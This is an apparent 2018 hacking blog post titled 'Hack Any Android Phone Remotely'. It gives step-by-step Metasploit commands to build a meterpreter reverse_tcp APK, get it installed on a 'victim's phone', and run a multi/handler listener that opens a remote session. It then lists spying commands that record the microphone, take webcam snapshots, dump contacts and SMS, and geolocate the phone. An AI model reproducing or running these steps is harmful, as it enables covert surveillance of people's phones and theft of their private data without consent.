Translate

Monday, January 8, 2018

Hack Any Android Phone Remotely: msfvenon - Metasploit's payload generator

 Welcome to my first blog!
Today we are going to learn "HOW TO HACK ANY ANDROID PHONE WITH METASPLOIT REMOTELY"

 msfvenom is a Kali linux hacking tool for android ,is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance known as msfvenom payload.
Hacking With METASPLOIT in Kali Linux is a old tool. Metasploit is enhanced by msfvenom in kali linux. 
So, let's get started!!
STEPS :


1. Fire Up kali and open command terminal.

2.
Set payload and create custom windows executable.
Command: 
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMGClz4bhjjySis3tdA94BJEPOgMukU_kGBVujGHv2QZsog61IXzlGNRr9VlVuJH4bev7kw__UpZSNAK_FmARCM6m8on-oUWJsf2CV1gyR-SWuG_1LDEIc31BDVM_LSs8dv0gValZTZs/s1600/oclosequote1.gifroot@kali:-# msfvenom -p android/meterpreter/reverse_tcp  LHOST=192.168.0.110 LPORT=4444 R > andro.apkhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMGClz4bhjjySis3tdA94BJEPOgMukU_kGBVujGHv2QZsog61IXzlGNRr9VlVuJH4bev7kw__UpZSNAK_FmARCM6m8on-oUWJsf2CV1gyR-SWuG_1LDEIc31BDVM_LSs8dv0gValZTZs/s1600/oclosequote1.gif
  
(To know your LHOST, open new terminal and type ifconfig )

Your apk file is being saved in the Home folder.

Note: Don't add any stray space characters anywhere. Use the command as is (after changing the LHOST and LPORT as needed).

3. Transfer/mail this file (here andro.apk) file to the victim's phone and install it.

4. Start the metasploit framework console as follows :
   
Command:
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMGClz4bhjjySis3tdA94BJEPOgMukU_kGBVujGHv2QZsog61IXzlGNRr9VlVuJH4bev7kw__UpZSNAK_FmARCM6m8on-oUWJsf2CV1gyR-SWuG_1LDEIc31BDVM_LSs8dv0gValZTZs/s1600/oclosequote1.gifroot@kali:-# msfconsolehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMGClz4bhjjySis3tdA94BJEPOgMukU_kGBVujGHv2QZsog61IXzlGNRr9VlVuJH4bev7kw__UpZSNAK_FmARCM6m8on-oUWJsf2CV1gyR-SWuG_1LDEIc31BDVM_LSs8dv0gValZTZs/s1600/oclosequote1.gif

5. Now it's time to open and setup multi-handler. Follows the steps :
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMGClz4bhjjySis3tdA94BJEPOgMukU_kGBVujGHv2QZsog61IXzlGNRr9VlVuJH4bev7kw__UpZSNAK_FmARCM6m8on-oUWJsf2CV1gyR-SWuG_1LDEIc31BDVM_LSs8dv0gValZTZs/s1600/openquote1.gif msf  > use multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.110
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit
Payload Handler is being started........https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMGClz4bhjjySis3tdA94BJEPOgMukU_kGBVujGHv2QZsog61IXzlGNRr9VlVuJH4bev7kw__UpZSNAK_FmARCM6m8on-oUWJsf2CV1gyR-SWuG_1LDEIc31BDVM_LSs8dv0gValZTZs/s1600/oclosequote1.gif

6. When the victims clicks on the app(installed as MAIN ACTIVITY in the menu) in his phone, meterpreter session will be established.

7. Try the following exploit commands :
    - record_mic
    - webcam_snap
    - webcam_stream
    - dump_contacts
    - dump_sms
    - geolocate

************************************************************************

Error fixing(in case you get PARSE ERROR)
Two methods:
1)Type command "d2j-apk-sign andro.apk
                                               
  Hope this works... :)

if you have any comments let us hear  and problems let us fix! Just comment!

Join us on telegram https://t.me/hax4all

No comments:

Post a Comment